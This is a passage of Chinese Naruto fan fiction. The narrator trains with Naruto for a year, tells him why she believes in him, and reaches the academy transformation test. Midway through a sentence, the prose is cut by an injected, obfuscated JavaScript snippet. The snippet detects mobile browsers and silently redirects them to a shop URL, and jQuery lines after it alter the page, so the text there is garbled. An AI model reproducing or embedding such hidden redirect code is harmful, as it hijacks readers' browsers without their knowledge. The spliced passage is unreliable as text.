我学着他的样子,试图握住那柄木苦无。冰冷的触感传来,手指却像不听使唤的木头,僵硬而笨拙。苦无在掌心滑溜溜的,总感觉下一秒就要脱手。仅仅是维持这个握姿,手臂的肌肉就传来酸胀的抗议。 “对…对!就是这样!” 鸣人像是发现了什么了不起的事情,眼睛一亮,凑过来仔细看我的手 “手腕!手腕要放松一点!太僵硬了投不远的!” 他用空着的手指点了一下我紧绷的手腕关节。 我尝试放松,但长期缺乏运动和那场崩溃的后遗症,让“放松”这个指令变得异常艰难。手指依旧僵硬,苦无的棱角硌得掌心生疼。 “来!试试感觉!” 鸣人退开几步,指着不远处一棵歪脖子树 “目标!树干!不用管准不准,先感受怎么把它扔出去!” 我深吸一口气,学着记忆中动漫人物的样子,笨拙地抬起手臂,将全身那点可怜的力气都灌注到手臂上,然后猛地向前一挥! 苦无脱手而出,却没有预想中的破空声。它软绵绵地在空中划出一道低矮的抛物线,飞行了不到三米,“啪嗒”一声,无力地掉在潮湿的卵石滩上,连树干的边都没沾到。 一股强烈的挫败感瞬间涌上心头。脸微微发烫,我甚至不敢去看鸣人的表情。 “啊…第一次嘛!很正常!” 鸣人却立刻跑过去捡起苦无,脸上没有丝毫嘲笑,反而带着一种“我懂你”的共鸣 “我当初第一次扔,直接砸自己脚上了!疼了好几天呢!” 他夸张地龇牙咧嘴,试图缓解我的尴尬。 “关键是发力!不能光用手臂甩,要用腰!还有这里!” 他拍了拍自己的大腿 “蹬地!把力气从脚底下传上来!” 他站到我身边,再次示范。这次他不再追求姿势的绝对标准,而是展现出他身体的本能记忆。只见他重心微微下沉,右脚用力蹬踏地面,力量从脚踝传递到膝盖,腰腹核心猛地一拧,带动肩膀和手臂像鞭子一样甩出! “咻!” 他手中的训练苦无带着远比我刚才有力得多的破空声飞了出去,虽然准头依旧欠佳,“咚”地一声钉在了树干的下半部,深入木质。 “看到了吗?就是这样!蹬!扭!甩!” 鸣人收回手,兴奋地比划着 “再来!别怕扔歪!力气先出来!” 在他的鼓励(或者说不容置疑的要求)下,我一遍遍地重复着。弯腰,拾起苦无,握紧(尽管依旧僵硬),蹬地(力量微弱得可怜),扭腰(动作笨拙得像生锈的机器),甩臂!苦无一次次脱手,或近或远,或高或低,无力地落在冰冷的卵石上、浑浊的浅水里,甚至有一次差点砸到自己的脚。每一次失败,都让手臂的酸胀感加剧,汗水混合着雨水(天空终于开始飘下细密的雨丝)浸湿了额发和后背。肺部火辣辣的,每一次呼吸都带着铁锈味。 鸣人却展现出了惊人的耐心。他不再过多讲解理论,而是像个最严格的陪练,不断重复着“蹬地!”“扭腰!”“甩!”“再来!”“力气!力气呢!”他一次次跑过去捡回苦无,塞回我手里,眼神里没有丝毫的不耐烦,只有一种近乎执拗的期待。偶尔我动作变形得太厉害,他会直接上手,笨拙地帮我调整手臂的角度,或者按住我的腰示意发力点。他的手指带着少年特有的粗糙和热度,触碰时让我微微一颤。 …… 雨渐渐大了起来,打在卵石上噼啪作响。视线变得模糊,身体又冷又累,每一次抬起手臂都像在对抗千斤重担。就在我几乎要放弃的时候,再一次用尽全力甩出苦无—— 这一次,苦无终于没有再软绵绵地坠落。它带着一丝微弱的、却真实存在的力道,划破雨幕,“哆”地一声,钉在了那棵歪脖子树最低矮的一根树枝上!虽然只是浅浅地嵌进去一点,但终于……碰到了目标! “中了!中了!你打中了!” 鸣人比我还激动,猛地跳了起来,溅起大片水花,冲过去指着那枚颤巍巍钉在树枝上的苦无,兴奋地大喊 “看到没!我就说你能行!蹬地扭腰甩!记住这个感觉!” 冰冷的雨水打在脸上,混合着汗水滑落。我看着那枚终于没有落地的苦无,听着鸣人毫不掩饰的欢呼,胸腔里那股冰冷的挫败感,似乎被这雨水和少年炽热的鼓励冲刷开了一丝缝隙。一种极其微弱、却真实存在的成就感,如同细小的火苗,在疲惫的躯壳里悄然点燃。不是因为技巧,仅仅是因为……终于把一件东西,按照自己的意志,送到了一定的距离。 …… 秋雨变得连绵而冰冷,我和鸣人的“秘密基地”彻底沦为泥泞的战场。空气中弥漫着湿土和腐烂枝叶的气息。鸣人的“鸣人流体术奥义”进入了第二阶段——基础闪避与步伐。 “在战场上,光会扔飞镖可不够!” 鸣人站在泥水中,橙色的外套下摆沾满了泥点,神情严肃 “躲开敌人的攻击,活下去,才是最重要的!今天,学习‘鸣人流体术·泥鳅式闪避基础’!” 他的教学方式依旧简单粗暴——实战演练。他成了那个“敌人”。 “注意看我的动作!” 鸣人低喝一声,身体猛地向左侧一个滑步。他的动作在湿滑的泥地里显得有些踉跄,但核心很稳,利用地面的湿滑,竟真的像泥鳅一样滑开了小半米的距离。 “这叫侧滑!躲直线攻击!” 接着,他身体重心迅速下沉,几乎是贴着泥水向前扑倒,一个算不上标准但极其实用的翻滚,沾了满身泥浆后迅速起身。 “这是翻滚!躲范围攻击或者快速拉近距离!” 最后,他猛地向后跳了一小步,虽然落地时因为泥泞差点摔倒,但动作意图很清晰。 “后跳!拉开距离!” 演示完毕,他抹了一把脸上的泥水,指向我 “现在,轮到你!我会用泥球攻击,你要用刚才教的三种方式躲开!放心,我扔得很慢!” 话音未落,一团湿冷的泥巴已经慢悠悠地朝我胸口飞来!速度确实不快,轨迹清晰。 我脑子里迅速闪过他刚才的动作:侧滑!对,向左滑! 咬紧牙关,左脚用力蹬向湿滑的泥地,试图将身体向左侧推开。 “嗤——” 脚下一滑!力量完全用错了方向,身体非但没有向左滑开,反而失去平衡,一个趔趄向前扑倒! “啪!” 泥团结结实实地糊在了我的肩膀上,冰冷的泥浆溅到了脸上和脖子里。狼狈不堪地摔倒在泥水里。 “噗…咳咳…” 我吐出嘴里的泥水,又冷又窘。 “哎呀!” 鸣人赶紧跑过来,有点不好意思地挠头, “忘了你脚下不稳!再来再来!这次你站稳了再动!” 第二团泥巴飞来,目标是右腿。我努力站稳,看准时机,回忆他翻滚的动作,心一横,闭上眼睛就朝泥水里扑去! “噗通!” 沉闷的落水声。预想中的流畅翻滚没有出现。我像一个沉重的麻袋,直挺挺地摔进了泥浆里,溅起的泥水糊了自己满头满脸,冰冷刺骨。预判的翻滚变成了狼狈的狗啃泥,泥团倒是擦着身体飞了过去。 “……” 鸣人看着在泥坑里挣扎的我,嘴角抽搐了几下,似乎在努力憋笑,最终还是没憋住 “噗……哈哈哈哈!你……你这哪是泥鳅式,是秤砣式吧!哈哈哈哈!” 我又气又恼,却又总觉得场景熟悉,但还是抓起一团泥巴就朝他扔过去 “你还笑!” 鸣人敏捷地一个侧滑躲开,泥巴糊在了他身后的树干上。 “看!这就是侧滑的效果!” 他得意地扬扬下巴。 在泥水里摔打了不知道多少次,身上几乎没有一块干净的地方,冰冷的泥浆贴着皮肤,带走仅存的热量,冻得我牙齿都在打颤。动作依旧笨拙,侧滑像蹒跚学步,翻滚像滚筒下山,后跳则常常因为脚下打滑而变成滑稽的仰面摔倒。但每一次摔倒,鸣人都会立刻跑过来,把我从泥水里拉起来,抹掉我脸上的泥(通常只会抹得更花),然后大声指出问题: “蹬地!蹬地要用上力气!” “翻滚要抱头!保护脑袋!” “后跳重心要稳!别像根木头一样倒!” 他的声音在冰冷的雨幕中格外清晰,带着不容置疑的肯定和毫无保留的分享。渐渐地,在无数次失败和浑身泥泞中,身体似乎开始记住一点点发力的感觉。当又一团泥巴飞来时,我下意识地、带着点豁出去的劲头,左脚猛地蹬地,身体借力向右侧滑开!虽然动作依旧生涩,滑开的距离也很短,但这一次,我没有摔倒!泥团擦着衣角飞了过去! “好!” 鸣人眼睛一亮,用力拍手 “这次对了!蹬地!滑!看到没!继续!” 冰冷的雨水和泥浆似乎不再那么难以忍受。每一次微小的进步,都在鸣人毫不吝啬的欢呼声中,被无限放大,成为支撑我继续在泥泞中挣扎下去的力量。 …… 寒冬的木叶,呵气成霜。鸣人小小的公寓成了唯一的避风港。角落里的炭炉散发着有限的热量。体术训练无法在室外进行,便转入了“理论”和“基础耐力”阶段。 “体术大师,光会打打杀杀可不行!” 鸣人煞有介事地坐在我对面,面前摊着一本空白的笔记本(他难得主动要求买的) “还要有强大的内心和持久的耐力!今天,学习‘鸣人流体术·静心凝神基础’和‘持久力特训’!” 所谓的“静心凝神”,就是他盘腿坐在地板上,努力模仿打坐的样子,要求我也照做,然后……比赛谁先动或者谁先笑。结果通常是不到五分钟,他就开始抓耳挠腮,或者因为我的僵硬姿势而憋笑到内伤,最终以两人滚倒在地笑作一团告终。 而“持久力特训”则更加“艰苦卓绝”。鸣人不知从哪里翻出两个破旧的沙袋,里面装满了沙子,绑在我们的手腕和脚踝上。 “坚持住!绕着屋子走!走到……嗯……走到我喊停为止!” 鸣人自己绑好沙袋,像个教官一样下令。 小小的公寓空间有限,所谓的“绕圈走”就是在狭窄的过道里来回踱步。沉重的沙袋坠在四肢上,每一次抬腿都异常艰难。没走几圈,腿就像灌了铅一样沉重,呼吸也变得急促。寒冷的空气吸入肺里,带着刀割般的刺痛。 鸣人却走得虎虎生风,边走边给我打气:“加油!想想成为体术高手的样子!这点重量算什么!我当初可是绑着更重的石头训练的!”(我严重怀疑他在吹牛,但感觉他又真的做过) 汗水很快浸湿了内衫,又被炉火烤干,留下粘腻的不适感。小腿的肌肉在颤抖,每一次呼吸都牵扯着胸腔的闷痛。时间变得无比漫长。好几次,我都想停下来,瘫倒在地。 “不许停!” 鸣人严厉的声音立刻响起,他不知何时走到了我旁边,额头也渗出了细密的汗珠,但眼神异常坚定 “才走了十圈!目标是五十圈!想想手里剑!想想在泥地里躲开攻击的感觉!坚持住!” 他的声音带着一种奇异的魔力。看着他也同样负重、同样在坚持,看着他眼中那不容置疑的信念,我咬紧牙关,将几乎要脱口而出的放弃咽了回去。拖着沉重的双腿,一步一步,继续在这狭窄的空间里,丈量着通往“持久力”的、无比艰辛的距离。汗水滴落在地板上,很快蒸发不见,只留下浅浅的印记。身体疲惫到了极点,但一种从未有过的、对抗自身极限的倔强,却在心底悄然滋生…… …… 初春的风还带着料峭的寒意,但训练场上的泥土已经变得松软,空气中弥漫着万物复苏的气息。毕业考核,近在眼前。 鸣人站在我面前,神情是前所未有的郑重。他摊开我的手掌。一年的时光,这双手似乎没什么变化,依旧苍白纤细。但在掌心靠近虎口的位置,在食指和拇指的指腹内侧,却清晰地覆盖着一层薄薄的、淡黄色的硬茧。那是无数次握持、投掷训练用苦无和手里剑留下的印记,是无数次在泥泞中摔倒又爬起磨砺的勋章。 “看,” 鸣人的手指轻轻拂过那些硬茧,他的指腹同样覆盖着更厚实、颜色更深的茧 “这就是努力的证明!” 他退开几步,拿出一个标准的木制手里剑靶,立在五米开外。这对于忍者学校的标准来说很近,但对于我,却是一个需要全力以赴的距离。 “今天,是鸣人老师毕业考前的最后测试!” 鸣人将一枚训练手里剑塞进我手里 “目标!靶心!用你一年来学到的所有东西!蹬地!扭腰!甩!把力气都给我用出来!别管姿势多难看,打中它!” 手里剑冰冷的触感传来,掌心的茧摩擦着木质的纹理。我深吸一口气,冰冷的空气涌入肺叶,压下翻腾的紧张。身体深处依旧残留着虚弱感,手臂的肌肉记忆着酸痛,但掌心那层薄茧带来的粗糙触感,却莫名地带来一丝安定。 我站定,目光锁定五米外那个红色的靶心。不再是夏末河滩上漫无目的的投掷,不再是秋雨泥泞中狼狈的闪躲,也不是寒冬室内枯燥的负重踱步。这是一次小小的,属于自己的“毕业考”。 回忆着鸣人一遍遍强调的要点:重心下沉,右脚用力蹬踏脚下松软的土地——力量从脚底升起,传递到绷紧的小腿,带动腰腹核心猛地向右旋转——力量如同被拧紧的弓弦,瞬间传递到肩膀,带动手臂像鞭子一样向前甩出!所有的意念,所有的力气,都灌注在这一个动作里! “咻——!” 手里剑脱手而出的声音,比一年前有力得多,带着清晰的破空声! 时间仿佛被拉长。手里剑旋转着,在空中划过一道短促却坚定的轨迹! “哆!” 一声沉闷的响声! 手里剑的尖端,深深地钉进了木靶!虽然离红色的靶心还有一大段距离,只是钉在了最边缘的木质区域,但它稳稳地立在那里,没有掉落! “中了!中了!” 鸣人第一个跳起来,爆发出惊天动地的欢呼,比他自己打中了还要兴奋 “看到没!你打中了!五米!稳稳地钉住了!” 我站在原地,微微喘息,胸腔因为用力而起伏。看着那枚牢牢钉在靶上的手里剑,看着鸣人兴奋得手舞足蹈的样子,一股难以言喻的暖流混合着酸涩涌上心头。一年前那个连握紧苦无都费劲、在平衡木前恐惧到僵硬的自己,似乎被这枚钉入木靶的手里剑,钉在了过去的时光里。身体依旧孱弱,动作依旧笨拙,但掌心那层薄茧,和眼前这枚钉入木靶的手里剑,是365个日夜笨拙前行留下的、最真实的足迹。没有奇迹,没有塔罗,只有汗水、泥泞、疼痛……外加和一个永不放弃的笨蛋导师。 …… 初春的夜晚,寒意尚未完全退去,但鸣人那间小小的公寓里,却弥漫着一种混合着汗味、草药膏的淡淡清香和食物暖意的独特气息。一天的训练耗尽了我们最后一丝力气。鸣人像条被抽了骨头的鱼,四仰八叉地瘫在他那张嘎吱作响的旧床上,橙色的外套随意丢在角落,沾满了泥点和草屑。我也好不到哪去,浑身酸痛得像被一群忍象踩过,只能勉强靠在床边铺开的、勉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575526|187090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强算是“客用”的薄薄被褥上,连抬手指都觉得费力。 空气里还残留着刚才那场“战斗”的余韵——为了谁先用那个狭小的、只能勉强称之为“浴室”的隔间,两人进行了一番毫无意义的幼稚争论,最终以鸣人“绅士风度”发作(其实是累得不想动)让我先去而告终。温热的水流暂时舒缓了紧绷的肌肉,也冲掉了训练场的尘土和汗渍。等我擦着湿漉漉的头发出来时,鸣人已经像只真正的狐狸一样,动作迅捷地窜了进去,隔间里很快传来哗啦啦的水声和他不成调、但中气十足的哼歌声。 此刻,屋子里只剩下我们两人粗重未平的喘息和炉子上小锅里咕嘟咕嘟的声响——那是鸣人回来路上买的、最便宜的速食味噌汤块正在努力散发出一点聊胜于无的热量。 “好……好饿……” 鸣人瘫在床上,有气无力地呻吟着,肚子适时地发出一串响亮的咕噜声,像是在抗议。 “汤……应该快好了。” 我指了指炉子,声音同样带着疲惫的沙哑。 短暂的沉默。只有汤水翻滚的声音和窗外偶尔掠过的风声。 “话说……” 鸣人忽然侧过头,蓝色的眼睛在昏暗的光线下显得格外亮,映着炉火微弱的光 “今天……你最后那一下,投得不错啊。” 他的语气里带着一种纯粹的肯定,没有平时的夸张,反而显得很认真。 我愣了一下,想起下午训练场上,那枚终于稳稳钉在五米外木靶边缘的手里剑。掌心似乎还能感受到木质手柄的触感和甩出时手臂的酸麻。 “……是你教得好。” 我轻声说,这是实话。没有他这一年近乎执拗的督促和那些简单粗暴却行之有效的“鸣人流体术奥义”,我大概连握住苦无的力气都懒得使出来。 “嘿嘿!” 鸣人得意地咧开嘴,露出一口白牙,但笑容很快又收拢,带着点困惑, “不过……我还是不明白。” “不明白什么?” “为什么是我教你啊?” 他挠了挠乱糟糟的金发,坐起身来,盘腿对着我 “你看,我忍术不行,变身术老是出问题,替身术也时灵时不灵,理论知识更是……嗯……反正伊鲁卡老师总叹气。学校里比我厉害的人多的是,比如佐助那家伙……” 他提到佐助时撇了撇嘴,但语气里并没有多少嫉妒,更像是一种陈述事实 “他闭着眼睛都比我强。你为什么……不找他教?或者找小樱?她理论课分数可高了。” 这个问题很直接,也很鸣人。我看着他在炉火映照下忽明忽暗的脸,那双蓝眼睛里是纯粹的疑惑,没有自怨自艾,只是单纯地想不通。 为什么呢? 记忆的碎片如同沉在湖底的鹅卵石,模糊不清。只记得那个坐在秋千上、对着空旷草地宣告梦想的金色背影。记得他递过来的那碗寡淡无味、连调味包都没拆的泡面。记得他一次次笨拙的试探和毫无保留的分享。记得他在泥地里拉起我时,满不在乎的笑容。记得他在寒冬深夜,笨拙地为我更换额上冷毛巾的身影…… 这些碎片拼凑不出一个清晰的答案,却汇聚成一种沉甸甸的、无法忽视的感觉。 我沉默了片刻,炉子上味噌汤的香气似乎浓郁了一些。 “大概……” 我开口,声音很轻,像是在对炉火诉说,又像是在对自己确认 “是因为,你是一个笨蛋吧。” “哈?!” 鸣人瞬间炸毛,像只被踩了尾巴的猫,差点从床上蹦起来 “笨蛋?!喂喂!我可是要当火影的男人!怎么可能是笨蛋!你太过分了!” 看着他气鼓鼓、蓝眼睛瞪得溜圆的样子,我忍不住弯起了嘴角。疲惫似乎也被他这生动的反应驱散了一些。 “不是吗?” 我看着他,带着一丝自己都没察觉的调侃 “明明自己都还没学好,就敢教别人。教得乱七八糟,就知道喊‘蹬地扭腰甩’、‘力气力气’……扔个泥巴还美其名曰‘泥雷震’。绑个沙袋在屋里转圈,美其名曰‘持久力特训’……不是笨蛋是什么?” 鸣人被我说得噎住了,张着嘴想反驳,脸憋得通红,却一时找不到词,只能气哼哼地嘟囔 “那……那也有效果啊!你最后不是投中了嘛!我的‘鸣人流体术’可是很厉害的!” “嗯,是挺厉害的。” 我点点头,笑意更深 “能把一个体术废柴教到能打中五米外的靶子,确实……只有笨蛋才做得到吧。” 鸣人狐疑地看着我,似乎在分辨我到底是在夸他还是损他。他眉头紧锁,金发都仿佛要竖起来,最终哼了一声 “反正……反正你就是认可我了!对吧?” 他忽然又凑近了些,眼睛亮晶晶的,带着一丝不易察觉的紧张和期待,像只等待被肯定的小狗 “第一次见面的时候,你就说‘认可我了’!为什么?就因为我喊了那句‘要当火影’?” 话题猝不及防地绕回了最初的起点。 炉子上的汤锅发出轻微的“噗噗”声,水汽氤氲上升。窗外的风似乎也安静了下来。 为什么? 为什么会在那个意识混沌、自身难保的时刻,对一个陌生的孩子,说出“认可”? 记忆的浓雾再次翻涌。护目镜碎裂的光芒……坠落……未能做到的事情,抵达的终点,完美的…… ……我想不起来了 只是,鸣人和记忆里的身影重叠起来了,潜意识里告诉我要守护一个想当火影笨蛋的人,然后,是那片灼目的金色……那个孤零零坐在秋千上的背影……那句用尽全力、仿佛要撕裂整个世界的宣告—— 『我可是要当火影的!』 【总有一天我要当上火影!】 那一刻,在那片混沌的黑暗中,那句话像一颗投入死水的小石子,激起的涟漪微弱却清晰。那声音里的孤勇,像一道微弱却执拗的光,刺破了浓雾。 我看着眼前这个金发少年,他脸上还带着训练后的汗渍和刚才被我逗弄的愠怒,蓝色的眼睛却清澈见底,映着炉火和我疲惫的影子。一年前那个在众人嘲笑中紧握拳头、指节发白的倔强身影,和此刻眼前这个虽然咋咋呼呼、却会笨拙地关心人、执拗地相信着未来的身影,重叠在了一起。 “因为……” 我缓缓开口,声音轻得像叹息,带着自己也未曾察觉的温柔,将自己潜意识里想到的话复述了一遍 “在那个所有人都觉得你是‘吊车尾’、觉得你的梦想是痴人说梦的时候……” 我顿了顿,迎上他变得认真而专注的目光。 “只有你,这个笨蛋,用那么大的声音,那么认真的样子,一遍又一遍地告诉自己,也告诉这个世界——” 我的声音不自觉地带上了一点模仿他语气的上扬尾音,带着笑意,也带着某种难以言喻的触动, “『我可是要当火影的!』” 鸣人愣住了。他脸上的气恼、困惑,瞬间凝固,然后如同冰雪消融般褪去。那双湛蓝的眼睛里,有什么东西在剧烈地闪烁、翻涌,像是被投入石子的湖面,漾开一圈圈复杂的涟漪——惊讶,难以置信,然后是一种被深深触动的、近乎脆弱的光芒。他张了张嘴,似乎想说什么,喉咙却像被哽住了。 炉子上的味噌汤终于沸腾到了顶点,发出咕嘟咕嘟的欢快声响,浓郁的香气弥漫开来,温暖了这间小小的陋室。 我看着他呆住的样子,轻轻笑了笑,补充道 “当然,也可能是因为……你当时看起来实在太傻了,像个对着空气宣战的傻瓜。让人忍不住……想看看这个傻瓜,最后到底能走到哪一步。” 鸣人依旧没说话,只是直勾勾地看着我。炉火的光芒在他眼中跳动,像坠入了两颗小小的星辰。过了好一会儿,他才猛地低下头,用力揉了揉鼻子,声音闷闷的,带着点不易察觉的哽咽,却又努力装出平时的腔调 “啰…啰嗦!什么傻瓜笨蛋的!我可是天才!未来的火影大人!等着看吧!我绝对…绝对会当上火影给你看的!” 他猛地跳下床,几乎是冲到了炉子边,手忙脚乱地去端那锅沸腾的汤,动作大得差点把汤洒出来,嘴里还不停地嚷嚷着 “汤好了汤好了!吃饭吃饭!饿死了!笨蛋才有力气当火影!快喝汤!” 我靠在被褥上,看着他背对着我、在炉火旁忙碌的、显得有些慌乱的背影,听着他故作凶巴巴实则毫无底气的嚷嚷,嘴角的笑意慢慢消退,自己似乎忘记了很重要的事情,而刚才的话……我似乎,说了两遍。 算了……就当做是因为鸣人就是这样一个……固执又单纯,莽撞又温暖,像一团永不熄灭的火焰一样,照亮自己也笨拙地照亮别人的……笨蛋啊。 温热的汤碗被塞进手里,驱散了指尖的微凉。味噌汤的味道很普通,甚至有点咸,但在这初春微寒的夜里,在这间小小的、充满汗味和少年气息的屋子里,却显得格外温暖。 风吹过新绿的树梢,带来远处隐约的喧闹声。毕业的季节——夏季,到了。新的故事,即将在樱花飘落中翻开扉页。而我和鸣人,在这条笨拙的轨迹上,都留下了一点属于自己的、微不足道却坚实的光…… 7. 『逆位隐者』 明天就是忍者学校的毕业考试了。或许是因为紧张,又或许是剧情使然,鸣人即使和我生活了将近一年,依然在这一天溜去了历代火影岩涂鸦——只不过这次,他加上了我。 伊鲁卡老师在后头紧追不舍,鸣人则拉着我的手在前方狂奔。虽然在这里生活了一年多,我的身体素质还是没能追上这家伙,被他拽着跑得上气不接下气。鸣人阳光般热烈的大笑声就在耳边,伊鲁卡老师气急败坏的喊声紧随其后 “你们两个混账!做这种事是要遭天谴的!今天绝对不会放过你们!还有你,旁听生!虽然你是女生,但和鸣人一起胡闹,都得接受惩罚!” “啰嗦啰嗦!” 鸣人头也不回地嚷道 “你们几个根本办不到吧!只有我可以,因为我很厉害!” 此刻我只感到深深的无奈。我们大概跑过了好几条街道,绕过无数房屋,最后跳进一条狭窄的小路。鸣人猛地把我拉进旁边墙壁里里“隐身”。看着伊鲁卡老师从前方跑过,他才得意洋洋地跳出来嘲笑 “看我甩掉了吧!笨蛋才不会往那边跑呢!” ?然而下一秒,伊鲁卡老师的身影就鬼魅般出现在他身后。 “哇啊!” ?鸣人像只受惊的猫一样弹跳起来,屁股结结实实摔在地上,痛得龇牙咧嘴 “干嘛突然冒出来啊,伊鲁卡老师!” 伊鲁卡老师无奈地叹了口气 “上课时间少了两个人,再怎么说也太明显了吧……” 课堂上,鸣人被绳子捆着示众,我则被伊鲁卡老师用手死死按着头,接受着狂风暴雨般的说教。 “鸣人!你上次考试,上上次考试都不合格!怎么还有闲心搞恶作剧?还有你,旁听生!虽然我对你比较宽容,但这次的事件性质太恶劣了!你们两个混账东西!” 也许是和鸣人待久了,我的脸皮似乎也变厚了些。我偷偷朝他瞥了一眼,悄悄吐了吐舌头。鸣人则“哼”了一声,别扭地转过脸去。伊鲁卡老师看着我们这副样子,额角瞬间暴起青筋,他猛地转过身对全班说话,声音里充满了拿我们无可奈何的挫败感 “今天的课题是『变身术』复习考!已经及格的人,也给我出来排队!” 教室里顿时响起一片“诶——”的抱怨和不解声。那一瞬间,我和鸣人感受到了无数道目光的聚焦。我低下头,耳朵微微发烫,再看鸣人时,他却已经咧开嘴,挂上了那副招牌式的大大咧咧、满不在乎的笑容。 “春野樱!” 小樱紧张地走上前。一阵烟雾过后,一个稍显紧张但轮廓清晰的『伊鲁卡老师』成功出现。她松了口气,脸上绽开欣喜的笑容。 “佐助,你看到了吗?” 她兴奋地回头问道。 果然,还是和剧情里一样喜欢佐助啊。 “下一个,宇智波佐助!” 伊鲁卡老师点名。 佐助面无表情地走到场地中央。他站定,双手以教科书般的精准速度结印,动作干净利落,带着一种冰冷的优雅。 “嘭!” 烟雾散去,一个与伊鲁卡老师本人几乎毫无二致、只是眼神略显淡漠的身影清晰地站在旁边。 “完美!” 考官中有人低声赞叹。教室里响起一片压抑的惊叹和羡慕的低语。佐助微微颔首,仿佛这只是理所当然,平静地走回原位,无视了小樱和井野崇拜的目光。 和剧情里一样强大。 “漩涡鸣人!” 伊鲁卡老师的声音响起,带着一丝不易察觉的复杂。 整个教室瞬间安静下来。所有的目光——好奇的、嘲弄的、漠然的、看戏的、埋怨的——都聚焦在那个穿着橙色外套的身影上。空气仿佛凝固了,闷热感更甚。鸣人只是对那些无声的压力嘟囔了一句 “关我屁事。” 他走到场地中央,站在佐助刚刚成功的位置上。他双手抬起,摆出一副势在必得的架势。下一秒,烟雾“嘭”地一声炸开。 剧情里,我记得是『色诱之术』……还孩子的我默默捂住了眼睛。 烟雾缓缓散去…… 教室中央,只有一个鸣人——性转版的鸣人,正大大咧咧地展示着一片“好风光”。 耳边传来伊鲁卡老师“噗通”倒地的声音,以及鸣人得意的大笑: “怎么样!我的『色诱之术』厉害吧!” “别给我创造这种下流的忍术啊混蛋!”伊鲁卡老师悲愤的声音从地上传来。 ………… 夕阳的余晖将教室的窗户染成温暖的橘红,细小的灰尘在光柱中无声飞舞。我和鸣人并排站在火影岩前方,面前是水桶和抹布,正卖力地擦拭着被我们“艺术创作”波及的历代火影。伊鲁卡老师抱着手臂坐在上方的岩石上监督,脸上余怒未消,但眼神深处却藏着一丝不易察觉的无奈。 “真是的……鸣人你这笨蛋!害得我也要一起打扫!” 我故意抱怨着,手上的动作却没停。 鸣人侧过头,脸上还带着恶作剧后的得意和一丝不服气,但看到我也在擦,那点得意又变成了不好意思的挠头 “嘿嘿,有什么关系嘛!反正我的『色诱之术』很成功啊!你看伊鲁卡老师都中招了!” “那是成功吗?!那是下流!” 伊鲁卡老师的声音立刻拔高,额角青筋跳动 “还有你!” 他转向我,语气稍微缓和,但仍带着责备 “旁听生,我本以为你更稳重些,怎么也跟着他胡闹?明天的毕业考试对鸣人……还有你,有多重要不知道吗?你忘了你之前提交的也要参加考试的申请报告了吗!旁听生本来是不能参加的,但火影大人例外准许了你!我希望你,还有鸣人,都给我认真对待,别再添乱了!” 我缩了缩脖子,耳朵又有点发烫。确实,知道剧情的我本意是想拉住鸣人,结果反而被他那股不管不顾的劲头裹挟着跑了。看着伊鲁卡老师恨铁不成钢的眼神,我心里也涌起一丝愧疚。 “啰嗦!伊鲁卡老师!” 鸣人梗着脖子反驳 “我们一定能毕业的!变身术什么的……那种小意思!” “小意思?” 伊鲁卡老师气极反笑 “那你刚才变的什么?那种忍术根本不可能通过考试!” “那是你不懂欣赏!”鸣人嘴硬道。 “你……!”伊鲁卡老师气得语塞。 “那怎么了!” 鸣人的声音忽然低了下去,带着一丝不易察觉的颤抖 “反正在……她来之前,我都是一个人练习忍术的……” 他说着,猛地低下头,更加卖力地去擦拭岩石,仿佛要把所有的不甘都擦掉,整个人的气息都低落下来。 我侧过脸,心疼地看着鸣人低垂的金色脑袋,抬起头对伊鲁卡老师反驳道 “鸣人其实……真的很努力了!他一直都在教我体术,我也会偶尔告诉他练习变身术的窍门……虽然只是口头说说,但他真的有在进步!也许没那么快,没那么好,但他一直……一直在努力地学习!” 一阵短暂的沉默。在我为鸣人辩护后,伊鲁卡老师那句“当火影不是靠涂鸦”似乎被噎了回去,只剩下闷头使劲擦洗的倔强背影。 “喂,” 我用胳膊肘轻轻碰了碰旁边那个用力过猛、几乎要把初代火影大人的胡子擦秃噜皮的家伙 “轻点擦,这可是文物。” “知道啦知道啦!” 鸣人嘟囔着,动作稍微放轻了些,但脸上还是带着点不服气 “伊鲁卡老师真是的……明明我的忍术那么有创意……” “创意是有了,” 我压低声音,瞄了一眼高处的监督者 “但方向歪得有点离谱。而且,”我顿了顿,声音更轻了 “你刚才说在我来之前都是一个人……其实,伊鲁卡老师一直都有在关注你的,只是你有时候太能闯祸了,把他气得够呛。” 鸣人擦墙的动作慢了下来。他侧过头,夕阳在他湛蓝的眼睛里投下温暖的光点,某种复杂的情绪在眼底翻涌。他没说话,只是低低地“嗯”了一声,又转回去继续擦。但感觉,那层因为被否定而竖起的尖刺,似乎悄然软化了一点。 “好了!” 高处传来伊鲁卡老师的声音,他站起身,拍了拍裤子上的灰,“看你们也擦得差不多了。记住这次的教训!……鸣人?” “这次又干什么?” 鸣人抬起头,语气还有些生硬。 “我带你俩去吃拉面。走吧。” 伊鲁卡老师纵身跳下,稳稳落地,看着我们俩。 “真的?!太棒了!伊鲁卡老师万岁!” 鸣人刚才那点小小的阴郁瞬间被抛到九霄云外,他欢呼着跳起来,脏兮兮的手差点就要去拍伊鲁卡老师的背,被后者敏捷地躲开了。 “先去洗手!你们两个都脏得像泥猴!” 伊鲁卡老师无奈地扶额。 ………… 一乐拉面温暖的灯光和浓郁的香气总是能驱散一切阴霾。我们三人并排坐在吧台前。鸣人照例豪气地点了特制叉烧拉面加温泉蛋,吃得呼噜作响,汤汁四溅。我点了一碗普通的味噌拉面,小口吃着。伊鲁卡老师则要了一碗普通拉面,吃得相对斯文。 “鸣人,慢点吃,没人和你抢。” 伊鲁卡老师看着鸣人的吃相,忍不住提醒。 “唔唔……伊鲁卡老师请客嘛……当然要吃个够本!” 鸣人嘴里塞得鼓鼓囊囊,含糊不清地说。 “你啊……” 伊鲁卡老师叹了口气,随后目光转向我 “旁听生,明天的考试……准备得怎么样?虽然火影大人特批了,但考试内容不会因为是旁听生就降低标准的。” 我咽下嘴里的面条,认真地点点头 